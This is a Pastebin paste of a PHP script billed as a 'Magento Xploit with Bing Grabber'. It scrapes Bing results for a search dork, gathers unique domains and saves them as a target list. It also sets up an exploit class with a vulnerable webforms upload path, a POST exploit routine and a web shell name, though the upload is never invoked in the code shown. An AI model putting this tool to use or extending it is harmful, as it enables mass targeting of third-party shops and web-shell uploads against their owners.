khaclep007

bing.php

Jan 4th, 2018
199
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.56 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4.  
  5. class indoxploit_mage_exploit {
  6.     private $jsvulnpath = "/js/webforms/upload/";
  7.     private $postjs = "files[]";
  8.  
  9.     public function cover() {
  10.         print "[ ========================================== ]\n";
  11.         print "-----> Magento Xploit with Bing Grabber <-----\n";
  12.         print "All in One Package: [webforms,add admin] Xploit\n";
  13.         print "Coded by: l0c4lh34rtz ( Mr. Error 404 )\n";
  14.         print "Greetz: IndoXploit - Sanjungan Jiwa\n";
  15.         print "[ ========================================== ]\n\n";
  16.     }
  17.     public function ngcurl($url,$post=null) {
  18.         $ch = curl_init($url);
  19.         if($post != null) {
  20.             curl_setopt($ch, CURLOPT_POST, true);
  21.             curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  22.         }
  23.             curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  24.             curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  25.             curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  26.             curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
  27.             curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  28.             curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  29.             curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  30.             curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  31.         return curl_exec($ch);
  32.             curl_close($ch);
  33.     }
  34.     public function xploit($url, $post) {
  35.         $ch = curl_init();
  36.               curl_setopt($ch, CURLOPT_URL, $url);
  37.               curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
  38.               curl_setopt($ch, CURLOPT_TIMEOUT, 60);
  39.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  40.               curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  41.               curl_setopt($ch, CURLOPT_POST, 1);
  42.         $headers  = array();
  43.         $headers[] = 'Accept-Encoding: gzip, deflate';
  44.         $headers[] = 'Content-Type: application/x-www-form-urlencoded';
  45.               curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
  46.               curl_setopt($ch, CURLOPT_HEADER, 1);
  47.         return curl_exec($ch);
  48.               curl_close($ch);
  49.     }
  50.     public function ambilKata($param, $kata1, $kata2){
  51.         if(strpos($param, $kata1) === FALSE) return FALSE;
  52.         if(strpos($param, $kata2) === FALSE) return FALSE;
  53.         $start = strpos($param, $kata1) + strlen($kata1);
  54.         $end = strpos($param, $kata2, $start);
  55.         $return = substr($param, $start, $end - $start);
  56.         return $return;
  57.     }
  58. }
  59.  
  60. $idx = new indoxploit_mage_exploit();
  61. $shell = "id.php";
  62. $dork = str_replace("'", "", $argv[1]);
  63. $dork = urlencode($dork);
  64. if(isset($dork)) {
  65.     $idx->cover();
  66.     $npage = 1;
  67.     $npages = 30000;
  68.     $allLinks = array();
  69.     $lll = array();
  70.     while($npage <= $npages) {
  71.         $x = $idx->ngcurl("http://www.bing.com/search?q=".$dork."&first=".$npage."", null);
  72.         if($x) {
  73.             preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);
  74.             foreach ($findlink[1] as $fl) array_push($allLinks, $fl);
  75.             $npage = $npage + 10;
  76.             if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;
  77.         } else break;
  78.     }
  79.     $URLs = array();
  80.     foreach($allLinks as $url){
  81.         $exp = explode("/", $url);
  82.         $URLs[] = $exp[2];
  83.     }
  84.     $array = array_filter($URLs);
  85.     $array = array_unique($array);
  86.     $sss = count(array_unique($array));
  87.     print "Load ($sss) sites\n";
  88.     foreach($array as $domain) {
  89.         if($_SESSION[$domain]) {
  90.             //
  91.         } else {
  92.         $_SESSION[$domain] = "1";  
  93.         // set var all site + path to x
  94.         $domain = "http://$domain"; // URL TARGET
  95.         $save = fopen("url.lst","a+");
  96.                         fwrite($save,$domain."\n");
  97.                         fclose($save);
  98.         }
  99. }
  100. }
  101. echo "Done, Saved ".$sss." list\n";
  102. ?>
Advertisement
Add Comment
Please, Sign In to add comment